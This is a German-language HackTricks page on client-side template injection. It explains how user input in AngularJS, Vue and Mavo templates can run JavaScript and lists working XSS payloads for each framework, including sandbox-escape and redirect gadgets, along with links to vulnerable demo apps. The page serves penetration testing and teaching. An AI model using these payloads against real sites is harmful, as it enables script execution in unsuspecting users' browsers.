Client Side Template Injection (CSTI)
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Zusammenfassung
Es ist wie eine Server Side Template Injection, aber im Client. Die SSTI kann es Ihnen ermöglichen, Code auf dem Remote-Server auszuführen, die CSTI könnte es Ihnen ermöglichen, willkürlichen JavaScript-Code im Browser des Opfers auszuführen.
Tests auf diese Schwachstelle sind sehr ähnlich wie im Fall von SSTI, der Interpreter erwartet eine Vorlage und wird sie ausführen. Zum Beispiel, mit einem Payload wie {{ 7-7 }}
, wenn die App anfällig ist, sehen Sie eine 0
, und wenn nicht, sehen Sie das Original: {{ 7-7 }}
AngularJS
AngularJS ist ein weit verbreitetes JavaScript-Framework, das über Attribute, die als Direktiven bekannt sind, mit HTML interagiert, wobei eine bemerkenswerte ng-app
ist. Diese Direktive ermöglicht es AngularJS, den HTML-Inhalt zu verarbeiten, wodurch die Ausführung von JavaScript-Ausdrücken innerhalb von doppelten geschweiften Klammern ermöglicht wird.
In Szenarien, in denen Benutzereingaben dynamisch in den HTML-Body eingefügt werden, der mit ng-app
gekennzeichnet ist, ist es möglich, willkürlichen JavaScript-Code auszuführen. Dies kann erreicht werden, indem die Syntax von AngularJS innerhalb der Eingabe genutzt wird. Nachfolgend sind Beispiele aufgeführt, die zeigen, wie JavaScript-Code ausgeführt werden kann:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Sie können ein sehr einfaches Online-Beispiel der Verwundbarkeit in AngularJS unter http://jsfiddle.net/2zs2yv7o/ und in Burp Suite Academy finden.
[!CAUTION] > Angular 1.6 hat den Sandbox entfernt, sodass ab dieser Version ein Payload wie
{{constructor.constructor('alert(1)')()}}
oder<input ng-focus=$event.view.alert('XSS')>
funktionieren sollte.
VueJS
Sie können eine verwundbare Vue-Implementierung unter https://vue-client-side-template-injection-example.azu.now.sh/ finden.
Funktionierender Payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Und der Quellcode des verwundbaren Beispiels hier: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Ein wirklich guter Beitrag zu CSTI in VUE ist zu finden unter https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Credit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
Weitere VUE-Payloads finden Sie unter https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Weitere Payloads in https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Brute-Force Erkennungsliste
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.